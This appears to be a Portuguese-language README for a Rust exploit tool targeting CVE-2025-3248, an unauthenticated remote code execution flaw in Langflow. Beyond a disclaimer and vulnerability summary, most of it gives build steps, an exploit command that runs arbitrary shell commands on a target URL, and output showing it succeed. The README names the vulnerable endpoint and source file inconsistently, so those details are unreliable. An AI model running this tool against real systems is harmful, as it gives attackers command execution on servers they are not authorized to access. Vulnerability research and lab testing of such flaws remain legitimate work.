
Exploração de prova de conceito baseada em Rust para CVE-2025-3248, um RCE não autenticado crítico no Langflow via /api/v1/validate/code, permitindo execução arbitrária de comandos.
⚠️ Aviso Legal
Este código destina-se estritamente a fins educacionais e de pesquisa. O uso não autorizado em sistemas sem permissão explícita pode constituir violação da lei.
O autor não se responsabiliza por qualquer uso indevido ou atividade maliciosa envolvendo esta ferramenta.
CVE-2025-3248 - Crítica
Pontuação CVSS: 9.8 | Pontuação EPSS: 92.57% | Publicado: 22 de maio de 2025
O endpoint /api/v1/validate/code aceita código Python não sanitizado e o executa diretamente com exec(), sem exigir autenticação.
# langflow/api/builder/execute.py
exec(code) # No input validation or sandboxing!
O Langflow expõe um endpoint /api/v1/builder/execute_code que recebe código Python fornecido pelo usuário e o passa diretamente para exec() no backend. Como não há autenticação nem sandbox, os atacantes podem criar payloads arbitrários para execução de código.
# Clone repository
git clone <repo-url>
cd CVE-2025-3248-POC
cargo build --release
# ./target/release/CVE-2025-3248-POC
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"
❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860,
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)
> cd lab
> sudo docker-compose up -d
> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'
> sudo docker-compose down